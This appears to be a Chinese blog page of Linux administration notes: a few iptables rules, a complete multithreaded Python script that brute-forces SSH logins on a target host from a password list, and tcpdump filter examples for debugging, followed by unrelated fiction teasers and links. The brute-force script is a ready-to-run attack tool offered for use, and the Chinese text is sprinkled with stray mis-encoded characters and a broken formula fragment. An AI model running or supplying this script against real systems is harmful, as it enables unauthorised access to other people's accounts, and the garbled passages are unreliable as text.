iptables -I INPUT -s 8.8.8.8 -j ACCEPT
iptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -p udp -m multiport --dport 8001:8020 -j ACCEPT
  • 使用python多線程暴力破解linux密碼
#!/bin/python
import optparse  
import time  
from threading import *  
from pexpect import pxssh  
  
maxConnections = 100 
connection_lock = BoundedSemaphore(value=maxConnections)  
  
Found = False  
Fails = 0  
  
def connect(host, user, password, release):  
    global Found  
    global Fails  
  
    try:  
        s = pxssh.pxssh()  
        s.login(host, user, password)  
        print '[+] Password Found: ' + password  
        Found = True  
    except Exception, e:  
        if 'read_nonblocking' in str(e):  
            Fails += 1  
            time.sleep(5)  
            connect(host, user, password, False)  
        elif 'synchronize with original prompt' in str(e):  
            time.sleep(1)  
            connect(host, user, password, False)  
  
    finally:  
        if release: connection_lock.release()  
  
def main():  
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'  
                              )  
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')  
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')  
    parser.add_option('-u', dest='user', type='string', help='specify the user')  
  
    (options, args) = parser.parse_args()  
    host = options.tgtHost  
    passwdFile = options.passwdFile  
    user = options.user  
  
    if host == None or passwdFile == None or user == None:  
        print parser.usage  
        exit(0)  
          
    fn = open(passwdFile, 'r')  
    for line in fn.readlines():  
        if Found:  
            print "[*] Exiting: Password Found"  
            exit(0)  
        if Fails > 5:  
            print "[!] Exiting: Too Many Socket Timeouts"  
            exit(0)  
  
        connection_lock.acquire()  
        password = line.strip('\r').strip('\n')  
        print "[-] Testing: "+str(password)  
        t = Thread(target=connect, args=(host, user, password, True))  
        child = t.start()  
  
if __name__ == '__main__':  
    main()  

tcpdump 抓包工具

1)tcpdump(傳輸/網(wǎng)絡(luò)層)

tcpdump -i eth0

tcpdump -i eth0 -vnn

-v:顯示包含有TTL瘫辩,TOS值等等更詳細(xì)的信息

-n:不要做IP解析為主機(jī)名

-nn:不做名字解析和端口解析

更有針對(duì)性的抓包:

針對(duì)IP伏嗜,網(wǎng)段,端口伐厌,協(xié)議

tcpdump -n -i eth0 -vnn host 192.168.0.154 --主機(jī)地址里邊只要包含地址有:192.168.0.154

tcpdump -i eth0 -vnn net 192.168.0.0 /24 --抓取一個(gè)網(wǎng)段數(shù)據(jù)包

tcpdump -i eth0 -vnn port 22

tcpdump -i eth0 -vnn udp

tcpdump -i eth0 -vnn icmp ping

tcpdump -i eth0 -vnn arp



$x = y$$x = y$ # tcpdump -i eth0 -vnn ip

tcpdump -n -i eth0 -vnn src host 192.168.0.154

tcpdump -i eth0 -vnn dst host 192.168.0.154

tcpdump -i eth0 -vnn src port 22

tcpdump -i eth0 -vnn src host 192.168.0.253 and dst port 22

tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22

tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22

抓包最主要的功能在于調(diào)試承绸,比如在調(diào)試某個(gè)服務(wù)的時(shí)候 明明服務(wù)起來了 但是不知道為什么鏈接不上 可以通過抓包工具來測(cè)試看看請(qǐng)求包有沒有過來服務(wù)器,來判斷是傳輸過程中失敗了 還是被服務(wù)器拒絕了

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末弧械,一起剝皮案震驚了整個(gè)濱河市八酒,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌刃唐,老刑警劉巖羞迷,帶你破解...
    沈念sama閱讀 217,084評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件界轩,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡衔瓮,警方通過查閱死者的電腦和手機(jī)浊猾,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,623評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來热鞍,“玉大人葫慎,你說我怎么就攤上這事∞背瑁” “怎么了偷办?”我有些...
    開封第一講書人閱讀 163,450評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長澄港。 經(jīng)常有香客問我椒涯,道長,這世上最難降的妖魔是什么回梧? 我笑而不...
    開封第一講書人閱讀 58,322評(píng)論 1 293
  • 正文 為了忘掉前任废岂,我火速辦了婚禮,結(jié)果婚禮上狱意,老公的妹妹穿的比我還像新娘湖苞。我一直安慰自己,他們只是感情好详囤,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,370評(píng)論 6 390
  • 文/花漫 我一把揭開白布财骨。 她就那樣靜靜地躺著,像睡著了一般纬纪。 火紅的嫁衣襯著肌膚如雪蚓再。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,274評(píng)論 1 300
  • 那天包各,我揣著相機(jī)與錄音摘仅,去河邊找鬼。 笑死问畅,一個(gè)胖子當(dāng)著我的面吹牛娃属,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播护姆,決...
    沈念sama閱讀 40,126評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼矾端,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了卵皂?” 一聲冷哼從身側(cè)響起秩铆,我...
    開封第一講書人閱讀 38,980評(píng)論 0 275
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后殴玛,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體捅膘,經(jīng)...
    沈念sama閱讀 45,414評(píng)論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,599評(píng)論 3 334
  • 正文 我和宋清朗相戀三年滚粟,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了寻仗。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,773評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡凡壤,死狀恐怖署尤,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情亚侠,我是刑警寧澤曹体,帶...
    沈念sama閱讀 35,470評(píng)論 5 344
  • 正文 年R本政府宣布,位于F島的核電站盖奈,受9級(jí)特大地震影響混坞,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜钢坦,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,080評(píng)論 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望啥酱。 院中可真熱鬧爹凹,春花似錦、人聲如沸镶殷。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,713評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽绘趋。三九已至颤陶,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間陷遮,已是汗流浹背滓走。 一陣腳步聲響...
    開封第一講書人閱讀 32,852評(píng)論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留帽馋,地道東北人搅方。 一個(gè)月前我還...
    沈念sama閱讀 47,865評(píng)論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像绽族,于是被迫代替她去往敵國和親姨涡。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,689評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • 目錄 iptables命令及參數(shù)介紹 配置Filter表防火墻 配置NAT表防火墻 1. iptables命令及參...
    garyond閱讀 85,919評(píng)論 1 43
  • iptables簡介 netfilter/iptables(簡稱為iptables)組成Linux平臺(tái)下的包過濾防...
    yshenhn閱讀 112,357評(píng)論 2 78
  • 1 概述 iptables命令中吧慢,需要根據(jù)匹配的條件作出相應(yīng)的動(dòng)作涛漂,本文將結(jié)合例子,講解匹配條件 匹配條件分為基本...
    ghbsunny閱讀 4,310評(píng)論 0 0
  • 人生如此 拿酒來 我要走了 以后再也不會(huì)祈禱你的幸福 那是你的事 1 天氣燥熱難耐的時(shí)候锚沸,舟舟喜歡在晚飯后約我一起...
    楊當(dāng)真閱讀 921評(píng)論 12 10
  • 感恩天地滋養(yǎng)跋选、宇宙永恒;感恩大自然無私的愛哗蜈;感恩祖先傳承前标、歷代宗親護(hù)佑;感恩國泰民安距潘、繁榮昌盛炼列;感恩父母生養(yǎng)大恩、...
    天門金珠瑜伽閱讀 159評(píng)論 1 5